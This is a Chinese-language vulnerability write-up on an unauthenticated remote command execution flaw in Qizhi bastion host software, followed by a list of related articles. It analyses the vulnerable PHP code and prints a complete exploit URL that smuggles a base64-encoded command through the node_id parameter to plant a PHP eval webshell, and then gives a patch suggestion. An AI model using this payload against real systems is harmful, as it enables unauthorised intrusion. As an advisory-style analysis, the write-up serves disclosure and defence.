一、基本信息

  漏洞公告:https://www.cnvd.org.cn/flaw/show/1632201

  补丁信息:该漏洞的修复补丁已发布,如果客户尚未修复该补丁,可联系齐治科技的技术支持人员获得具体帮助。

二、源代码分析

  问题出现在ha_request.php文件,第37行的exec函数,$url为用户可控的变量,可见第33和34行。目光来到第23和24行,只要node_request函数的返回值为“OK”,即可跳过fatal函数(此函数为自定义函数,作用类似PHP内置的exit函数),继续往下执行。

  Node_request函数的定义在include/common.php文件中,见下图2。按照其原本的逻辑,其作用是请求$url,并返回其内容。根据代码逻辑,$url = "http://$req_ipaddr"."/listener/$method.php?n=$req_node_id&a=".urlencode(json_encode($args));。所以$url变量值类似于http://10.20.10.11/listener/cluster_manage.php?n=1&a=%5B%22install%22%5D这样的字符串。

  但是$req_ipaddr和$req_node_id均来自用户输入。因此,假设10.20.10.11为黑客可控的服务器,listener/cluster_manage.php文件的内容为“<?php echo ‘OK’;>”,即可使得node_request函数返回“OK”,从而跳过fatal函数,继续往下执行来到exec函数。

  回到exec函数,此时该函数的第一个参数是这样的,"wget --no-check-certificate http://10.20.10.11 /ha_get_install.php?n=$req_node_id -O backup_scripts.tar.bz2",所以我们的payload只能放在$req_node_id变量中。

  见下图3,$req_ipaddr和$req_node_id其实来自于$_REQUEST[‘ipaddr’]和$_REQUEST[node_id’],并做了全局过滤,删除掉一些危险字符。

图1

图2

图3

三、漏洞利用

  利用条件:无需登录

  利用过程:

  第一,http://10.20.10.11/listener/cluster_manage.php返回“OK”。

  第二,执行以下链接即可getshell,执行成功后,生成PHP一句话马/var/www/shterm/resources/qrcode/lbj77.php密码10086。这里假设10.20.10.10为堡垒机的IP地址。

https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|`echo${IFS}"ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}-d|bash`|${IFS}|echo${IFS}

四、参考及修复建议

1、修复建议

  $node_id的看起来应该是一个整数,所以只需在ha_request.php文件开头,添加以下一行代码,对该变量进行过滤即可。

  $node_id = @intval($req_node_id);

2、参考

  https://www.php.net/manual/en/function.exec.php

  https://www.anquanke.com/post/id/84920

转载请注明出处。

齐治堡垒机前台远程命令执行漏洞(CNVD-2019-20835)分析的更多相关文章

  1. 齐治运维堡垒机后台存在命令执行漏洞(CNVD-2019-17294)分析

    基本信息 引用:https://www.cnvd.org.cn/flaw/show/CNVD-2019-17294 补丁信息:该漏洞的修复补丁已于2019年6月25日发布.如果客户尚未修复该补丁,可联 ...

  2. 齐治堡垒机ShtermClient-2.1.1命令执行漏洞(CNVD-2019-09593)分析

    一.基本信息 参考:https://www.cnvd.org.cn/flaw/show/1559039 补丁信息:该漏洞的修复补丁已于2019年4月1日发布.如果客户尚未修复该补丁,可联系齐治科技的技 ...

  3. 【漏洞公告】高危:Windows系统 SMB/RDP远程命令执行漏洞

    2017年4月14日,国外黑客组织Shadow Brokers发出了NSA方程式组织的机密文档,包含了多个Windows 远程漏洞利用工具,该工具包可以可以覆盖全球70%的Windows服务器,为了确 ...

  4. FastJson远程命令执行漏洞学习笔记

    FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...

  5. FlexPaper 2.3.6 远程命令执行漏洞 附Exp

    影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ...

  6. struts2远程命令执行漏洞S2-045

    Apache Struts2最新漏洞(CVE-2017-5638,S02-45) struts2远程命令执行漏洞S2-045 Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-04 ...

  7. Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测

    本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...

  8. Drupal 远程命令执行漏洞(CVE-2018-7600)

    名称: Drupal 远程命令执行漏洞 CVE-ID: CVE-2018-7600 Poc: https://paper.seebug.org/578/ EXPLOIT-DB: https://www ...

  9. D-Link service.cgi远程命令执行漏洞复现

    1.1 概述 友讯集团(D-Link),成立于1986年,1994年10月于台湾证券交易所挂牌上市,为台湾第一家上市的网络公司,以自创D-Link品牌行销全球,产品遍及100多个国家. 1月17日,C ...

随机推荐

  1. Python中的memoryview

    Python中的memoryview提供了类似C语言指针的功能,有了memoryview,如果某个Object支持buffer protocol,那么就可以通过memory去访问到他的内部. Pyth ...

  2. 后缀自动机再复习 + [USACO17DEC] Standing Out from the Herd

    here:https://oi-wiki.org/string/sam/ 下面转自 KesdiaelKen的雷蒻论坛 来个广义后缀自动机模板题 [USACO17DEC]Standing Out fro ...

  3. Excel2013下拉框选择自动填充颜色

    图一写判断公式,图二选择应用范围.

  4. 【luogu4145】上帝造题的七分钟2 / 花神游历各国--区间开根-线段树

    题目背景 XLk觉得<上帝造题的七分钟>不太过瘾,于是有了第二部. 题目描述 "第一分钟,X说,要有数列,于是便给定了一个正整数数列. 第二分钟,L说,要能修改,于是便有了对一段 ...

  5. 用tecplot提取数据用于重构模型

    本方法还有诸多不完善的地方,转换代码转换格式之后还是需要自己手动分割txt文件,如果数据量太大,手动操作很是辛苦.现在只能得到点的数据,如何重构几何还是问题,UG貌似可以,欢迎交流. 首先在tecpl ...

  6. Linux设备驱动程序 之 后备高速缓存

    设备驱动程序常常会反复的分配很多相同大小的内存块:内核实现了后备高速缓存来对此进行支持,以反复的使用这些相同的内存块: 创建 Linux内核的高速缓存管理有时被称为“slab分配器”:因此,相关函数和 ...

  7. map初步(由ABBC--->A2BC)

    1.题目: Given a string containing only 'A' - 'Z', we could encode it using the following method: 1. Ea ...

  8. ionic serve 报【ionic-app-scripts' 不是内部或外部命令 】问题解

    Error: Cannot find module 'E:\angular\ionic0515\node_modules\@ionic\app-scripts'    at Function.Modu ...

  9. Cesium学习系列汇总

    内容比较多,完整看完需要大概10分钟,废话不多说,撸起袖子,加油干!!! 1.前言 按照套路,先介绍一下什么是Cesium. Cesium ['siːzɪəm]是JavaScript开源库,通过Ces ...

  10. ccf 201803-2 碰撞的小球(Python)

    问题描述 数轴上有一条长度为L(L为偶数)的线段,左端点在原点,右端点在坐标L处.有n个不计体积的小球在线段上,开始时所有的小球都处在偶数坐标上,速度方向向右,速度大小为1单位长度每秒. 当小球到达线 ...